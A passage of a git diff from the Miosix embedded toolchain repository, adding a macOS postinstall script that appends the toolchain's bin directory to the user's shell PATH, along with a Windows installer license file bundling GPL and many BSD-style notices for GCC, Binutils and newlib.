b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/welcome.rtf similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/welcome.rtf rename to tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/welcome.rtf diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/ScriptsTemplates/postinstall b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/ScriptsTemplates/postinstall new file mode 100755 index 000000000..39fd27f5a --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/ScriptsTemplates/postinstall @@ -0,0 +1,83 @@ +#!/bin/bash + +# The following script is inspired by the one used by macports, so credit +# to them for figuring out how to detect and handle each different shell. +# It is tradition for macOS power users to use a shell of their own liking +# and Apple itself has switched from bash to zsh in macOS 10.15 so we must +# take that into account. + +PREFIX= +BINPATH=${PREFIX}/bin +DSCL=/usr/bin/dscl + +fail() +{ + echo "$1" + exit 0 +} + +echo 'Modifying PATH for current user.' + +# Determine the user's shell, in order to choose an appropriate configuration file we'll be tweaking. +# Exit nicely if the shell is any other than bash or tcsh, as that's considered non-standard. +USHELL=$(${DSCL} . -read "/Users/${USER}" shell) || fail "error: could not determine shell name!" +# leave full path to shell +USHELL=${USHELL#*shell: } + +case "${USHELL}" in + */tcsh) + echo "Detected tcsh" + ENV_COMMAND="setenv" + ASSIGN=" " + if [[ -f "${HOME}/.tcshrc" ]]; then + CONF_FILE=tcshrc + elif [[ -f "${HOME}/.cshrc" ]]; then + CONF_FILE=cshrc + else + CONF_FILE=tcshrc + fi + ;; + */bash) + echo "Detected bash" + ENV_COMMAND="export" + ASSIGN="=" + if [[ -f "${HOME}/.bash_profile" ]]; then + CONF_FILE=bash_profile + elif [[ -f "${HOME}/.bash_login" ]]; then + CONF_FILE=bash_login + else + CONF_FILE=profile + fi + ;; + */zsh) + echo "Detected zsh" + ENV_COMMAND="export" + ASSIGN="=" + CONF_FILE="zprofile" + ;; + *) + fail "error: unknown shell ($USHELL)!" + ;; +esac + +# Adding our setting to the PATH variable if not already there: +# Run as the $USER: /usr/bin/su $USER -l +# Run a command in the shell: -c "/usr/bin/printenv PATH" +# Only process the last line output (profile may print info): tail -n 1 +# Output each path on its own line: tr ":" "\n" +# Look for exactly the BINPATH: grep "^${BINPATH}$" +if /usr/bin/su "${USER}" -l -c "/usr/bin/printenv PATH" | tail -n 1 | tr ":" "\n" | grep "^${BINPATH}$" > /dev/null; then + echo "Your shell already has the right PATH environment variable!" + exit 0 +fi + +if [[ -f "${HOME}/.${CONF_FILE}" ]]; then + echo "Backing up ${HOME}/.${CONF_FILE} to ${HOME}/.${CONF_FILE}.tmp" + /bin/cp -fp "${HOME}/.${CONF_FILE}" "${HOME}/.${CONF_FILE}.tmp" || fail 'Could not backup profile' +fi +{ + echo -e "# Miosix toolchain PATH addition" + echo "${ENV_COMMAND} PATH${ASSIGN}${BINPATH}:\$PATH" +} >> "${HOME}/.${CONF_FILE}" +chown "${USER}" "${HOME}/.${CONF_FILE}" || echo "warning: unable to fix permissions on ${HOME}/.${CONF_FILE}!" +echo "Modification of user PATH completed." diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/MiosixInstaller.iss b/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/MiosixInstaller.iss similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/windows/MiosixInstaller.iss rename to tools/compiler/gcc-9.2.0-mp3.2/installers/windows/MiosixInstaller.iss diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/license.txt b/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/license.txt new file mode 100644 index 000000000..9dc809fc8 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/license.txt @@ -0,0 +1,1788 @@ +The following installer will install: +GNU GCC with Miosix-specific patches +GNU Binutils +GNU GDB +GNU Make +Newlib +lpc21isp +mx-postlinker + +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(34) - Jon Beniston (only lm32-* targets) + + Contributed by Jon Beniston + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(35) - ARM Ltd (arm and thumb variant targets only) + + Copyright (c) 2009 ARM Ltd + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of the company may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 